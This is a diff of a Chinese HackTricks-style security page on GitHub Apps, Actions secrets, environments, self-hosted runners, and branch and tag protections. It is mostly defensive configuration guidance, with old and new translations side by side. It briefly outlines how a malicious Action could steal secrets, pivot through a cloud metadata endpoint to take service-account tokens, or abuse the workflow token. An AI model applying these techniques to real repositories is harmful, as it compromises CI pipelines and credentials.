- 这些是 **Github 应用程序的 API 端点** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。根据应用程序的权限,它将能够访问其中的一些。
|
||||
- 您可以在 _https://github.com/organizations/\<org_name>/settings/installations_ 中查看组织中的已安装应用程序。
|
||||
- 要安装 GitHub App,你必须是 **organization owner 或在某个仓库中具有 admin 权限**。
|
||||
- GitHub App 应该 **连接到个人账户或 organization**。
|
||||
- 你可以在 [https://github.com/settings/apps](https://github.com/settings/apps) 创建你自己的 Github application。
|
||||
- 你可以在 [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) 查看所有 **已获得你账户访问权限的 Github applications**。
|
||||
- 这些是 **Github Applications 的 API Endpoints**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。根据 App 的权限,它将能够访问其中的一部分。
|
||||
- 你可以在 _https://github.com/organizations/\<org_name>/settings/installations_ 查看 organization 中已安装的 apps。
|
||||
|
||||
一些安全建议:
|
||||
|
||||
- GitHub 应用程序应 **独立于用户采取行动**(除非应用程序使用 [用户到服务器](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 令牌)。为了使用户到服务器的访问令牌更安全,您可以使用将在 8 小时后过期的访问令牌,以及可以交换为新访问令牌的刷新令牌。有关更多信息,请参见“[刷新用户到服务器的访问令牌](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)”。
|
||||
- 确保 GitHub 应用程序与 **特定代码库** 集成。
|
||||
- GitHub 应用程序应 **连接到个人帐户或组织**。
|
||||
- 不要期望 GitHub 应用程序知道并执行用户可以做的所有事情。
|
||||
- **如果您只需要“使用 GitHub 登录”服务,请不要使用 GitHub 应用程序**。但是,GitHub 应用程序可以使用 [用户身份识别流程](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) 来登录用户 _并_ 执行其他操作。
|
||||
- 如果您在使用 GitHub Actions 的应用程序中希望修改工作流文件,您必须代表用户使用包含 `workflow` 范围的 OAuth 令牌进行身份验证。用户必须对包含工作流文件的代码库具有管理员或写入权限。有关更多信息,请参见“[理解 OAuth 应用程序的范围](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)”。
|
||||
- **更多** 信息在 [这里](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)。
|
||||
- GitHub App 应 **独立于用户执行操作**(除非该应用使用 [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token)。为了使 user-to-server 访问令牌更安全,你可以使用将在 8 小时后过期的访问令牌,以及可以交换为新访问令牌的刷新令牌。更多信息见“[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)。”
|
||||
- 确保 GitHub App 与 **特定的 repositories 集成**。
|
||||
- GitHub App 应 **连接到个人账户或 organization**。
|
||||
- 不要期望 GitHub App 知道并做用户能做的一切。
|
||||
- **如果你仅需要“Login with GitHub”服务,不要使用 GitHub App**。但 GitHub App 可以使用 [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) 来登录用户并执行其他操作。
|
||||
- 如果你仅想以 GitHub 用户身份行事并完成该用户能做的一切,也不要构建 GitHub App。
|
||||
- 如果你在 GitHub Actions 中使用你的应用并想修改 workflow 文件,必须使用包含 `workflow` scope 的 OAuth token 以用户身份进行认证。该用户必须对包含 workflow 文件的仓库具有 admin 或 write 权限。更多信息见“[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)。”
|
||||
- 更多信息见 [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)。
|
||||
|
||||
### Github Actions
|
||||
|
||||
这 **不是在 github 中进行身份验证的方法**,但一个 **恶意的** Github Action 可能会获得 **未经授权的访问**,并且 **根据** 赋予 Action 的 **权限**,可能会进行几种 **不同的攻击**。有关更多信息,请参见下文。
|
||||
这 **并不是 github 的一种身份验证方式**,但恶意的 Github Action 可能会获得 **对 github 的未授权访问**,并且 **根据 Action 被授予的权限** 可以实施多种不同的 **攻击**。下面会提供更多信息。
|
||||
|
||||
## Git 操作
|
||||
## Git Actions
|
||||
|
||||
Git 操作允许在 **事件发生时自动执行代码**。通常执行的代码与 **代码库的代码有某种关系**(可能构建一个 docker 容器或检查 PR 是否包含秘密)。
|
||||
Git actions 允许在 **事件发生时自动执行代码**。通常执行的代码与仓库中的代码 **以某种方式相关**(例如构建 docker 容器或检查 PR 中是否包含 secrets)。
|
||||
|
||||
### 配置
|
||||
### Configuration
|
||||
|
||||
在 _https://github.com/organizations/\<org_name>/settings/actions_ 中,可以检查组织的 **github actions 配置**。
|
||||
在 _https://github.com/organizations/\<org_name>/settings/actions_ 可以检查组织的 **github actions 配置**。
|
||||
|
||||
可以完全禁止使用 github actions,**允许所有 github actions**,或仅允许某些操作。
|
||||
可以完全禁止使用 github actions,**允许所有 github actions**,或者仅允许某些 actions。
|
||||
|
||||
还可以配置 **谁需要批准才能运行 Github Action** 以及运行时 Github Action 的 **GITHUB_TOKEN 权限**。
|
||||
还可以配置 **谁需要批准运行某个 Github Action** 以及 Github Action 运行时 **GITHUB_TOKEN 的权限**。
|
||||
|
||||
### Git 秘密
|
||||
### Git Secrets
|
||||
|
||||
Github Action 通常需要某种秘密与 github 或第三方应用程序进行交互。为了 **避免将其以明文形式放入代码库**,github 允许将其作为 **Secrets** 放置。
|
||||
Github Action 通常需要某种 secrets 来与 github 或第三方应用交互。为了 **避免将它们以明文放在仓库中**,github 允许将它们作为 **Secrets** 存放。
|
||||
|
||||
这些秘密可以为 **代码库或整个组织** 配置。然后,为了使 **Action 能够访问秘密**,您需要将其声明为:
|
||||
这些 secrets 可以为单个 repo 或整个 organization 配置。然后,为了让 **Action 能够访问该 secret**,你需要像下面这样声明它:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
@@ -158,7 +159,7 @@ super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
#### 使用 Bash 的示例 <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
#### 示例:使用 Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
@@ -167,75 +168,91 @@ run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
> [!WARNING]
|
||||
> 秘密 **只能通过声明它们的 Github Actions 访问**。
|
||||
> Secrets **只能从声明了它们的 Github Actions 中访问**。
|
||||
|
||||
> 一旦在仓库或组织中配置,**github 的用户将无法再次访问它们**,他们只能 **更改它们**。
|
||||
> 一旦在 repo 或 organizations 中配置,**github 的用户将无法再次访问它们**,他们只能**修改它们**。
|
||||
|
||||
因此,**窃取 github 秘密的唯一方法是能够访问执行 Github Action 的机器**(在这种情况下,您将只能访问为该 Action 声明的秘密)。
|
||||
因此,**窃取 github secrets 的唯一方法是能够访问正在执行该 Github Action 的机器**(在这种情况下,你只能访问为该 Action 声明的 secrets)。
|
||||
|
||||
### Git 环境
|
||||
### Git Environments
|
||||
|
||||
Github 允许创建 **环境**,您可以在其中保存 **秘密**。然后,您可以通过类似以下方式授予 github action 访问环境内的秘密:
|
||||
Github 允许创建 **environments**,在这些 environments 中可以保存 **secrets**。然后,你可以让 github action 访问该 environment 内的 secrets,例如:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
您可以配置一个环境以**被所有分支访问**(默认),**仅受保护的**分支或**指定**可以访问它的分支。\
|
||||
它还可以在**执行**使用**环境**的**操作**之前设置**所需的审查数量**或**等待**一段**时间**再允许部署继续。
|
||||
您可以将环境配置为 **所有分支**(默认)可访问、**仅受保护分支**可访问,或 **指定** 哪些分支可以访问该环境。\
|
||||
此外,环境保护还包括:
|
||||
- **Required reviewers**:在目标环境的作业获批之前阻止其运行。启用 **Prevent self-review** 以在审批环节本身强制实施真正的四眼原则。
|
||||
- **Deployment branches and tags**:限制哪些分支/标签可以部署到该环境。建议选择具体的分支/标签,并确保这些分支受保护。注意: “Protected branches only” 选项适用于经典的分支保护,如果使用 rulesets 可能不会按预期工作。
|
||||
- **Wait timer**:延迟部署一段可配置的时间。
|
||||
|
||||
还可以设置在使用某个 **environment** 执行某个 **action** 之前所需的 **审查次数**,或者在允许部署继续之前 **等待** 一段 **时间**。
|
||||
|
||||
### Git Action Runner
|
||||
|
||||
Github Action可以**在github环境内执行**,也可以在用户配置的**第三方基础设施**中执行。
|
||||
A Github Action 可以在 github environment 内执行,也可以在用户配置的第三方基础设施中执行。
|
||||
|
||||
一些组织将允许在**第三方基础设施**中运行Github Actions,因为这通常是**更便宜**的。
|
||||
一些组织允许在第三方基础设施上运行 Github Actions,因为通常这样会更便宜。
|
||||
|
||||
您可以在 _https://github.com/organizations/\<org_name>/settings/actions/runners_ 列出一个组织的自托管运行器。
|
||||
你可以在 _https://github.com/organizations/\<org_name>/settings/actions/runners_ 列出一个组织的 self-hosted runners。
|
||||
|
||||
查找**在非github基础设施中执行的Github Actions**的方法是搜索Github Action配置yaml中的 `runs-on: self-hosted`。
|
||||
查找哪些 **Github Actions** 在非 Github 基础设施中执行的方法是搜索 Github Action 配置 yaml 中的 `runs-on: self-hosted`。
|
||||
|
||||
**不可能在不同组织的自托管环境中运行一个组织的Github Action**,因为**在配置Runner时生成了一个唯一的令牌**以知道该Runner属于哪里。
|
||||
不可能在不同组织的 self hosted 机器上运行某个组织的 Github Action,因为在配置 Runner 时会为该 Runner 生成一个唯一的 token,用于识别该 Runner 属于哪个组织。
|
||||
|
||||
如果自定义**Github Runner配置在AWS或GCP内部的机器上**,例如,该Action**可能访问元数据端点**并**窃取服务账户的令牌**,该机器正在运行。
|
||||
如果自定义的 Github Runner 部署在例如 AWS 或 GCP 中的机器上,该 Action 可能访问 metadata endpoint 并窃取该机器运行时所使用的 service account 的 token。
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
如果允许所有操作(或恶意操作),用户可能会使用一个**恶意的Github Action**,这将**危害**正在执行的**容器**。
|
||||
如果允许所有 actions(或某个恶意 action)运行,用户可能会使用一个 **malicious** 的 Github Action,从而**攻破**其执行所在的 **容器**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 一个**恶意的Github Action**运行可能会被攻击者**滥用**:
|
||||
> 恶意的 Github Action 运行可能被攻击者滥用以:
|
||||
>
|
||||
> - **窃取所有秘密**,该Action可以访问
|
||||
> - **横向移动**,如果该Action在可以访问用于运行机器的SA令牌的**第三方基础设施**中执行(可能通过元数据服务)
|
||||
> - **滥用工作流**使用的令牌,以**窃取执行该Action的repo的代码**或**甚至修改它**。
|
||||
> - **窃取该 Action 可访问的所有 secrets**
|
||||
> - 如果 Action 在可以访问 SA token 的第三方基础设施中执行(很可能通过 metadata service),则**横向移动**
|
||||
> - **滥用 workflow 使用的 token** 来**窃取仓库代码**(Action 运行的仓库)或**甚至修改代码**
|
||||
|
||||
## Branch Protections
|
||||
|
||||
分支保护旨在**不将完整控制权授予用户**。目标是**在能够在某个分支中编写代码之前设置几种保护方法**。
|
||||
Branch protections 的设计目的是不给用户对仓库的完全控制权。目标是在能够向某个分支写入代码之前设置若干保护措施。
|
||||
|
||||
**一个仓库的分支保护**可以在 _https://github.com/\<orgname>/\<reponame>/settings/branches_ 找到。
|
||||
一个仓库的 **branch protections** 可以在 _https://github.com/\<orgname>/\<reponame>/settings/branches_ 找到。
|
||||
|
||||
> [!NOTE]
|
||||
> **不可能在组织级别设置分支保护**。因此,所有保护必须在每个repo中声明。
|
||||
> 无法在组织级别设置分支保护。因此必须在每个仓库上逐一声明这些保护。
|
||||
|
||||
可以对分支(如master)应用不同的保护:
|
||||
可以对某个分支(例如 master)应用不同的保护措施:
|
||||
|
||||
- 您可以**要求在合并之前进行PR**(因此您不能直接将代码合并到该分支)。如果选择此项,则可以实施其他不同的保护:
|
||||
- **要求一定数量的批准**。通常需要1或2个以上的人批准您的PR,以便单个用户无法直接合并代码。
|
||||
- **在推送新提交时撤销批准**。否则,用户可能会批准合法代码,然后用户可以添加恶意代码并合并。
|
||||
- **要求代码所有者的审查**。至少需要1个代码所有者批准PR(因此“随机”用户无法批准)。
|
||||
- **限制谁可以撤销拉取请求审查**。您可以指定允许撤销拉取请求审查的人或团队。
|
||||
- **允许指定的参与者绕过拉取请求要求**。这些用户将能够绕过先前的限制。
|
||||
- **要求状态检查在合并之前通过**。在能够合并提交之前,需要通过某些检查(例如,检查没有明文秘密的github action)。
|
||||
- **要求在合并之前解决对话**。所有代码上的评论需要在PR合并之前解决。
|
||||
- **要求签名提交**。提交需要签名。
|
||||
- **要求线性历史**。防止将合并提交推送到匹配的分支。
|
||||
- **包括管理员**。如果未设置此项,管理员可以绕过限制。
|
||||
- **限制谁可以推送到匹配的分支**。限制谁可以发送PR。
|
||||
- 可以 **要求在合并前先创建 PR**(因此不能直接将代码合并到该分支)。如果选择此项,还可以启用其他保护:
|
||||
- **要求一定数量的批准**。常见做法是要求 1 或 2 个以上的人批准你的 PR,这样单个用户就无法直接合并代码。
|
||||
- **当有新提交推送时撤销批准**。否则,用户可能先批准合法代码,然后再添加恶意代码并合并。
|
||||
- **Require approval of the most recent reviewable push**。确保在批准之后的任何新提交(包括其他协作者的推送)都会重新触发审查,以防止攻击者在批准后提交变更并合并。
|
||||
- **Require reviews from Code Owners**。至少需要仓库的 1 位 code owner 批准 PR(这样“随机”用户不能批准)。
|
||||
- **Restrict who can dismiss pull request reviews.** 可以指定允许撤销 PR 审查的人或团队。
|
||||
- **Allow specified actors to bypass pull request requirements**。这些用户将能够绕过前面的限制。
|
||||
- **Require status checks to pass before merging.** 在合并提交之前一些检查需要通过(例如报告 SAST 结果的 GitHub App)。提示:将必需的检查绑定到特定的 GitHub App;否则任何应用都可能通过 Checks API 假冒该检查,而且许多 bot 接受跳过指令(例如 “@bot-name skip”)。
|
||||
- **Require conversation resolution before merging**。合并 PR 之前需要解决代码上的所有评论。
|
||||
- **Require signed commits**。提交需要签名。
|
||||
- **Require linear history.** 防止向匹配的分支推送 merge commits。
|
||||
- **Include administrators**。如果未设置此项,管理员可以绕过这些限制。
|
||||
- **Restrict who can push to matching branches**。限制谁可以推送到匹配分支(或发送 PR)。
|
||||
|
||||
> [!NOTE]
|
||||
> 如您所见,即使您设法获得某个用户的凭据,**repos可能受到保护,避免您将代码推送到master**,例如,以危害CI/CD管道。
|
||||
> 如你所见,即便你设法获取了某个用户的部分凭据,**仓库的保护措施可能仍会阻止你将代码推送到 master**,例如防止你通过修改 CI/CD 来进行破坏。
|
||||
|
||||
## Tag Protections
|
||||
|
||||
标签(如 latest、stable)默认是可变的。为在标签更新上实施四眼流程,应保护标签并通过环境与分支串联保护:
|
||||
|
||||
1) 在标签保护规则上启用 **Require deployments to succeed**,并要求对受保护环境(例如 prod)成功部署。
|
||||
2) 在目标环境中,将 **Deployment branches and tags** 限制为发布分支(例如 main),并可选地为 **Required reviewers** 配置 **Prevent self-review**。
|
||||
3) 在发布分支上,为分支配置保护以 **Require a pull request**,设置 approvals ≥ 1,并启用 **Dismiss approvals when new commits are pushed** 与 **Require approval of the most recent reviewable push**。
|
||||
|
||||
该链条可防止单个协作者通过编辑 workflow YAML 来重新打标签或强制发布 release,因为部署闸门是在 workflow 之外强制执行的。
|
||||
|
||||
## References
|
||||
|
||||
@@ -244,5 +261,10 @@ Github Action可以**在github环境内执行**,也可以在用户配置的**
|
||||
- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
|
||||
- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
|
||||
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
|
||||
- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
|
||||
- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user